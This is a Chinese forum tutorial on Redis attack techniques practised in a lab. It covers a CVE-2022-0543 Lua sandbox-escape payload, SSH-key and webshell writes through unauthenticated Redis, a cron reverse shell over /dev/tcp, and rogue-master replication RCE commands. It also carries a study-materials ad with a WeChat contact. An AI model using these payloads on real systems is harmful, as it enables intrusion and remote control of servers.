数据库攻防学习之Redis

打印 上一主题 下一主题

主题 901|帖子 901|积分 2703

Redis

0x01 redis学习

在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。
0x02 环境搭建

这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。
[img=720,196.09756097560975]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449128.png[/img]
ubuntu 20.04+docker
  1. docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
  2. VUL_IP=127.0.0.1 vulfocus/vulfocus
复制代码
建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。
[img=720,331.92]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449129.png[/img]
0x03漏洞复现

Redis Lua沙盒绕过 命令执行 CVE-2022-0543

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令
该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua 功能
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令
代码如下
  1. local io_l =
  2. package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
  3. "luaopen_io");
  4. local io = io_l();
  5. local f = io.popen("id", "r");
  6. local res = f:read("*a");
  7. f:close();
  8. return res
复制代码
payload如下
  1. eval 'local io_l =
  2. package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
  3. "luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
  4. local res = f:read("*a"); f:close(); return res' 0
复制代码
漏洞复现
[img=720,398.88]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449130.png[/img]
  1. eval 'local io_l =
  2. package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
  3. "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
  4. local res = f:read("*a"); f:close(); return res' 0
复制代码
[img=720,543.6548223350254]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449132.png[/img]
这里可以用another redis 这个个管理工具,方便redis数据库使用
  1. eval 'local io_l =
  2. package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
  3. "luaopen_io"); local io = io_l(); local f = io.popen("find / -name
  4. flag*", "r"); local res = f:read("*a"); f:close(); return res' 0
复制代码
[img=720,543.6548223350254]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449133.png[/img]
未授权访问redis 未授权访问 (CNVD-2015-07557)

这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。
攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
1.linux写入公钥
利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
  1. ssh-keygen -t rsa
  2. cd /root/.ssh/
  3. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt
  4. cat key.txt | redis-cli -h 目标IP -x set xxx
复制代码
[img=720,427.6923076923077]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449134.png[/img]
[img=720,151.92]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449135.png[/img]
[img=720,543.4650455927052]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449136.png[/img]
这里权限不够,这个是vulfocus有问题
满足条件的话可以直接这样,可以自己搭建一个redis环境做实验
具体搭建可参考
https://blog.csdn.net/qq_41210745/article/details/103305262

yes要改成no

环境启动,接着
[img=720,68.08853118712274]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449139.png[/img]
  1. config set dir /root/.ssh/
  2. config set dbfilename authorized_keys
  3. save
  4. cd /root/.ssh/
  5. ssh -i id_rsa root@目标IP
复制代码

已经成功写入
进入该ubuntu查看 cd /root/.ssh/
[img=720,303.51978171896315]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449142.png[/img]
尝试SSH连接
  1. ssh -i id_rsa root@192.168.48.133
复制代码
[img=720,215.28]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449143.png[/img]
可以看到成功拿下
2.写入webshell
前提条件,有可写权限,存在web服务,知道web路径
继续用该环境下尝试webshell写入
命令如下
FLUSHALL 使用这个清空之前的配置
前提条件,web目录可以读写
  1. config set dir /tmp 设置WEB写入目录
  2. config set dbfilename test.php 设置写入文件名
  3. set test "<?php phpinfo();?>" 设置写入文件代码
  4. set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
  5. 换行防止执行失败
  6. bgsave 保存执行
  7. save
  8. chmod -R 777 /var/www/html/
复制代码
这里设置html尝试写入webshell

3.写计划任务反弹shell
FLUSHALL 记得清空配置
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
环境依然是上面的配置环境
  1. config set dir /var/spool/cron
  2. set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
  3. 0>&1\n\n\n"
  4. config set dbfilename x
  5. save
  6. set yy "nnn* * * * * bash -i >&
  7. /dev/tcp/192.168.48.133/9999 0>&1\n\n\n"
复制代码
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败
可以看到有乱码,ubuntu并未正常执行

[img=720,226.7027027027027]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449146.png[/img]
[img=720,118.91612903225807]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449147.png[/img]
主从复制利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell
https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行
redis-rogue-serve
  1. python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
  2. IP
  3. python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
  4. --lhost 192.168.48.132
复制代码
[img=720,401.04]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202401021449148.png[/img]
redis-rogue-getshell
这里记得要编译
  1. cd RedisModulesSDK/
  2. make
  3. python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
  4. -P 6666 -f RedisModulesSDK/exp.so -c "id"
  5. python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
  6. -P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"
复制代码
实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况
天翼杯
考点反序列化,redis主从复制RCE代码
[code]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王海鱼

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表